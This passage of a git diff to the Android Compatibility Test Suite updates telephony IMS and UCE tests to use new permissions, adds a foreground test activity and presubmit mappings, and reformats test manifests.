-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, numbers, callback);
 
         // Verify that the capabilities request is sill failed because the ImsService has returned
         // the 403 error before.
@@ -941,6 +917,7 @@
             retryAfterQueue.clear();
         }
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
@@ -1008,18 +985,10 @@
             cb.onTerminated("", 0L);
         });
 
-        // Request capabilities by calling the API requestCapabilities.
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        // Stay in the foreground.
+        lunchUceActivity();
+
+        requestCapabilities(uceAdapter, contacts, callback);
 
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
@@ -1055,18 +1024,7 @@
             cb.onTerminated("", 0L);
         });
 
-        // Request capabilities by again calling the API requestCapabilities
-        try {
-            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
-                    uceAdapter,
-                    adapter -> adapter.requestCapabilities(contacts, Runnable::run, callback),
-                    ImsException.class,
-                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
-        } catch (SecurityException e) {
-            fail("requestCapabilities should succeed with READ_PRIVILEGED_PHONE_STATE.");
-        } catch (ImsException e) {
-            fail("requestCapabilities failed " + e);
-        }
+        requestCapabilities(uceAdapter, contacts, callback);
 
         // Verify the first contact is found.
         capability = waitForResult(capabilityQueue);
@@ -1082,6 +1040,7 @@
         // Verify the onCompleted is called
         waitForResult(completeQueue);
 
+        finishUceActivity();
         overrideCarrierConfig(null);
     }
 
@@ -1559,4 +1518,56 @@
             Log.w("RcsUceAdapterTest", "Cannot remove test contacts from eab database: " + e);
         }
     }
+
+    private void requestCapabilities(RcsUceAdapter uceAdapter, List<Uri> numbers,
+            RcsUceAdapter.CapabilitiesCallback callback) {
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(numbers, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE. "
+                    + "Exception: " + e);
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+    }
+
+    private void requestAvailability(RcsUceAdapter uceAdapter, Uri number,
+            RcsUceAdapter.CapabilitiesCallback callback) {
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestAvailability(number, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestAvailability should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE. "
+                    + "Exception: " + e);
+        } catch (ImsException e) {
+            fail("requestAvailability failed " + e);
+        }
+    }
+
+    private void lunchUceActivity() throws Exception {
+        final CountDownLatch countdownLatch = new CountDownLatch(1);
+        final Intent activityIntent = new Intent(getContext(), UceActivity.class);
+        activityIntent.setAction(Intent.ACTION_MAIN);
+        activityIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+        activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        UceActivity.setCountDownLatch(countdownLatch);
+        getContext().startActivity(activityIntent);
+        countdownLatch.await(5000, TimeUnit.MILLISECONDS);
+    }
+
+    private void finishUceActivity() {
+        final Intent finishIntent = new Intent(getContext(), UceActivity.class);
+        finishIntent.setAction(UceActivity.ACTION_FINISH);
+        finishIntent.addCategory(Intent.CATEGORY_LAUNCHER);
+        finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        getContext().startActivity(finishIntent);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index d7906df..c8509b8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -223,15 +223,38 @@
         SipDelegateManager manager = getSipDelegateManager();
         try {
             manager.isSupported();
-            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE");
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION");
         } catch (SecurityException e) {
             //expected
         }
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                    manager, SipDelegateManager::isSupported, ImsException.class,
+                    "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+        } catch (ImsException e) {
+            // Not a problem, only checking permissions here.
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION, exception:" + e);
+        }
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                    manager, SipDelegateManager::isSupported, ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+
+        } catch (ImsException e) {
+            // Not a problem, only checking permissions here.
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE or "
+                    + "PERFORM_IMS_SINGLE_REGISTRATION, exception:" + e);
+        }
+
         DelegateRequest d = new DelegateRequest(Collections.emptySet());
         TestSipDelegateConnection c = new TestSipDelegateConnection(d);
         try {
             manager.createSipDelegate(d, Runnable::run, c, c);
-            fail("createSipDelegate requires MODIFY_PHONE_STATE");
+            fail("createSipDelegate requires PERFORM_IMS_SINGLE_REGISTRATION");
         } catch (SecurityException e) {
             //expected
         }
@@ -259,12 +282,12 @@
                 // return false.
                 Boolean result = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         manager, SipDelegateManager::isSupported, ImsException.class,
-                        "android.permission.READ_PRIVILEGED_PHONE_STATE");
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
                 assertNotNull(result);
                 assertFalse("isSupported should return false on devices that do not "
                         + "support feature FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION", result);
             } catch (SecurityException e) {
-                fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+                fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
             }
 
             try {
@@ -275,12 +298,12 @@
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                         manager, (m) -> m.createSipDelegate(request, Runnable::run,
                                 delegateConn, delegateConn), ImsException.class,
-                        "android.permission.MODIFY_PHONE_STATE");
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
                 fail("createSipDelegate should throw an ImsException with code "
                         + "CODE_ERROR_UNSUPPORTED_OPERATION on devices that do not support feature "
                         + "FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION");
             } catch (SecurityException e) {
-                fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+                fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
             } catch (ImsException e) {
                 // expecting CODE_ERROR_UNSUPPORTED_OPERATION
                 if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
@@ -313,9 +336,9 @@
             result = callUntilImsServiceIsAvailable(() ->
                     ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(manager,
                             SipDelegateManager::isSupported, ImsException.class,
-                            "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                            "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         } catch (SecurityException e) {
-            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission");
+            fail("isSupported requires PERFORM_IMS_SINGLE_REGISTRATION permission");
         }
         assertNotNull(result);
         assertTrue("isSupported should return true", result);
@@ -335,7 +358,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false if"
                 + "CarrierConfigManager.Ims.KEY_RCS_SINGLE_REGISTRATION_REQUIRED_BOOL is set to "
@@ -365,7 +388,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that the ImsService is only "
                 + "attached for RCS and not MMTEL and RCS", result);
@@ -392,7 +415,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "implemented", result);
@@ -417,7 +440,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "set as capable in ImsService#getImsServiceCapabilities", result);
@@ -441,7 +464,7 @@
         Boolean result = callUntilImsServiceIsAvailable(() ->
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
                         getSipDelegateManager(), SipDelegateManager::isSupported,
-                        ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE"));
+                        ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
         assertNotNull(result);
         assertFalse("isSupported should return false in the case that SipTransport is not "
                 + "set as capable in ImsService#getImsServiceCapabilities", result);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
index ca7505f..1118009 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -80,20 +80,22 @@
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                         manager, (m) -> m.createSipDelegate(delegateRequest, Runnable::run, this,
                                 this), ImsException.class,
-                        "android.permission.MODIFY_PHONE_STATE"));
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
     }
 
     public void disconnect(SipDelegateManager manager, int reason) throws Exception {
         ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                 manager, (m) -> m.destroySipDelegate(connection, reason),
-                ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+                ImsException.class,
+                "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
     }
 
     public void triggerFullNetworkRegistration(SipDelegateManager manager, int sipCode,
             String sipReason) throws Exception {
         ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                 manager, (m) -> m.triggerFullNetworkRegistration(connection, sipCode, sipReason),
-                ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+                ImsException.class,
+                "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
     }
 
     @Override
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java
new file mode 100644
index 0000000..5b631ec
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * The Activity to run the UCE APIs verification in the foreground.
+ */
+public class UceActivity extends Activity {
+
+    public static final String ACTION_FINISH = "android.telephony.ims.cts.action_finish";
+
+    private static CountDownLatch sCountDownLatch;
+
+    public static void setCountDownLatch(CountDownLatch countDownLatch) {
+        sCountDownLatch = countDownLatch;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        SurfaceView mSurfaceView = new SurfaceView(this);
+        mSurfaceView.setWillNotDraw(false);
+        mSurfaceView.setZOrderOnTop(true);
+        setContentView(mSurfaceView,
+                new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        if (sCountDownLatch != null) {
+            sCountDownLatch.countDown();
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        if (ACTION_FINISH.equals(intent.getAction())) {
+            finish();
+            sCountDownLatch = null;
+        }
+    }
+}
diff --git a/tests/tests/telephony/sdk28/Android.bp b/tests/tests/telephony/sdk28/Android.bp
index bf23f39..2a3ecd1 100644
--- a/tests/tests/telephony/sdk28/Android.bp
+++ b/tests/tests/telephony/sdk28/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTelephonySdk28TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/sdk28/TEST_MAPPING b/tests/tests/telephony/sdk28/TEST_MAPPING
new file mode 100644
index 0000000..141ee9e
--- /dev/null
+++ b/tests/tests/telephony/sdk28/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephonySdk28TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/CellInfoTest.java b/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/CellInfoTest.java
index dc590b8..e9b7f16 100644
--- a/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/CellInfoTest.java
+++ b/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/CellInfoTest.java
@@ -30,6 +30,8 @@
 import android.telephony.TelephonyManager;
 import android.util.Log;
 
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -49,7 +51,9 @@
     private PackageManager mPm;
 
     private boolean isCamped() {
-        ServiceState ss = mTm.getServiceState();
+        ServiceState ss = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTm, TelephonyManager::getServiceState);
+
         if (ss == null) return false;
         return (ss.getState() == ServiceState.STATE_IN_SERVICE
                 || ss.getState() == ServiceState.STATE_EMERGENCY_ONLY);
@@ -76,7 +80,8 @@
 
         if (!isCamped()) fail("Device is not camped to a cell");
 
-        List<CellInfo> cellInfo = mTm.getAllCellInfo();
+        List<CellInfo> cellInfo = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTm, TelephonyManager::getAllCellInfo);
 
         // getAllCellInfo should never return null, and there should be at least one entry.
         assertNotNull("TelephonyManager.getAllCellInfo() returned NULL CellInfo", cellInfo);
@@ -90,7 +95,8 @@
             } catch (InterruptedException ie) {
                 fail("Thread was interrupted");
             }
-            List<CellInfo> newCellInfo = mTm.getAllCellInfo();
+            List<CellInfo> newCellInfo = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTm, TelephonyManager::getAllCellInfo);
             assertNotNull("TelephonyManager.getAllCellInfo() returned NULL CellInfo", newCellInfo);
             assertFalse("TelephonyManager.getAllCellInfo() returned an empty list",
                     newCellInfo.isEmpty());
diff --git a/tests/tests/telephony2/Android.bp b/tests/tests/telephony2/Android.bp
index 0765992..19a4fad 100644
--- a/tests/tests/telephony2/Android.bp
+++ b/tests/tests/telephony2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTelephony2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony2/TEST_MAPPING b/tests/tests/telephony2/TEST_MAPPING
new file mode 100644
index 0000000..0407667
--- /dev/null
+++ b/tests/tests/telephony2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephony2TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony3/Android.bp b/tests/tests/telephony3/Android.bp
index d520461..7249851 100644
--- a/tests/tests/telephony3/Android.bp
+++ b/tests/tests/telephony3/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTelephony3TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony3/TEST_MAPPING b/tests/tests/telephony3/TEST_MAPPING
new file mode 100644
index 0000000..2bd2449
--- /dev/null
+++ b/tests/tests/telephony3/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephony3TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony4/Android.bp b/tests/tests/telephony4/Android.bp
index 8cd8a33..08097b5 100644
--- a/tests/tests/telephony4/Android.bp
+++ b/tests/tests/telephony4/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSimRestrictedApisTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony4/TEST_MAPPING b/tests/tests/telephony4/TEST_MAPPING
new file mode 100644
index 0000000..8ec0dcf
--- /dev/null
+++ b/tests/tests/telephony4/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSimRestrictedApisTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony4/certs/Android.bp b/tests/tests/telephony4/certs/Android.bp
index 3d40a48..96bea9e 100644
--- a/tests/tests/telephony4/certs/Android.bp
+++ b/tests/tests/telephony4/certs/Android.bp
@@ -1,14 +1,5 @@
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 android_app_certificate {
     name: "android_telephony_cts_testkey",
     certificate: "android_telephony_cts_testkey",
 }
+
diff --git a/tests/tests/telephonyprovider/Android.bp b/tests/tests/telephonyprovider/Android.bp
index 90b02ae..59d3cbc 100644
--- a/tests/tests/telephonyprovider/Android.bp
+++ b/tests/tests/telephonyprovider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTelephonyProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telephonyprovider/AndroidManifest.xml b/tests/tests/telephonyprovider/AndroidManifest.xml
index 9a9e618..e7c5e13 100755
--- a/tests/tests/telephonyprovider/AndroidManifest.xml
+++ b/tests/tests/telephonyprovider/AndroidManifest.xml
@@ -16,77 +16,77 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telephonyprovider.cts"
-    android:targetSandboxVersion="2">
+     package="android.telephonyprovider.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Required to be default SMS app -->
         <receiver android:name="android.telephonyprovider.TelephonyProviderSmsDeliverReceiver"
-                  android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
 
         </receiver>
 
         <!-- Required to be default SMS app -->
         <receiver android:name="android.telephonyprovider.TelephonyProviderWapPushDeliverReceiver"
-                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <!-- Required to be default SMS app -->
         <service android:name="android.telephonyprovider.TelephonyProviderService"
-                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
-                 android:exported="true" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
 
         <!-- Required to be default SMS app -->
-        <activity
-            android:name="android.telephonyprovider.TelephonyProviderActivity"
-            android:label="Telephony Provider CTS Test Activity"
-            android:windowSoftInputMode="stateHidden">
+        <activity android:name="android.telephonyprovider.TelephonyProviderActivity"
+             android:label="Telephony Provider CTS Test Activity"
+             android:windowSoftInputMode="stateHidden"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </activity>
 
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS telephony provider tests"
-        android:targetPackage="android.telephonyprovider.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS telephony provider tests"
+         android:targetPackage="android.telephonyprovider.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index 841f4bf..5d898c7 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsTextTestCases",
     defaults: ["cts_defaults"],
@@ -34,6 +30,7 @@
         "mockito-target-minus-junit4",
         "androidx.test.rules",
         "ub-uiautomator",
+        "junit-params",
     ],
 
     libs: [
diff --git a/tests/tests/text/AndroidManifest.xml b/tests/tests/text/AndroidManifest.xml
index 0e86c5f..1e1a6d9 100644
--- a/tests/tests/text/AndroidManifest.xml
+++ b/tests/tests/text/AndroidManifest.xml
@@ -16,73 +16,77 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.text.cts"
-    android:targetSandboxVersion="2">
+     package="android.text.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
 
     <application android:maxRecents="1">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.text.cts.EmojiCtsActivity"
-            android:label="AvailableIntentsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="AvailableIntentsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.text.method.cts.KeyListenerCtsActivity"
-            android:label="KeyListenerCtsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden"/>
+             android:label="KeyListenerCtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"/>
 
         <activity android:name="android.text.method.cts.CtsActivity"
-            android:label="CtsActivity"
-            android:screenOrientation="nosensor"
-            android:windowSoftInputMode="stateAlwaysHidden">
+             android:label="CtsActivity"
+             android:screenOrientation="nosensor"
+             android:windowSoftInputMode="stateAlwaysHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.text.style.cts.URLSpanCtsActivity"
-            android:label="URLSpanCtsActivity"
-            android:screenOrientation="nosensor">
+             android:label="URLSpanCtsActivity"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.text.style.cts.MockURLSpanTestActivity"
-            android:label="MockURLSpanTestActivity"
-            android:launchMode="singleTask"
-            android:alwaysRetainTaskState="true"
-            android:configChanges="orientation|keyboardHidden"
-            android:screenOrientation="nosensor">
+             android:label="MockURLSpanTestActivity"
+             android:launchMode="singleTask"
+             android:alwaysRetainTaskState="true"
+             android:configChanges="orientation|keyboardHidden"
+             android:screenOrientation="nosensor"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-                <data android:scheme="ctstesttext" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+                <data android:scheme="ctstesttext"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.text.cts.MockActivity" />
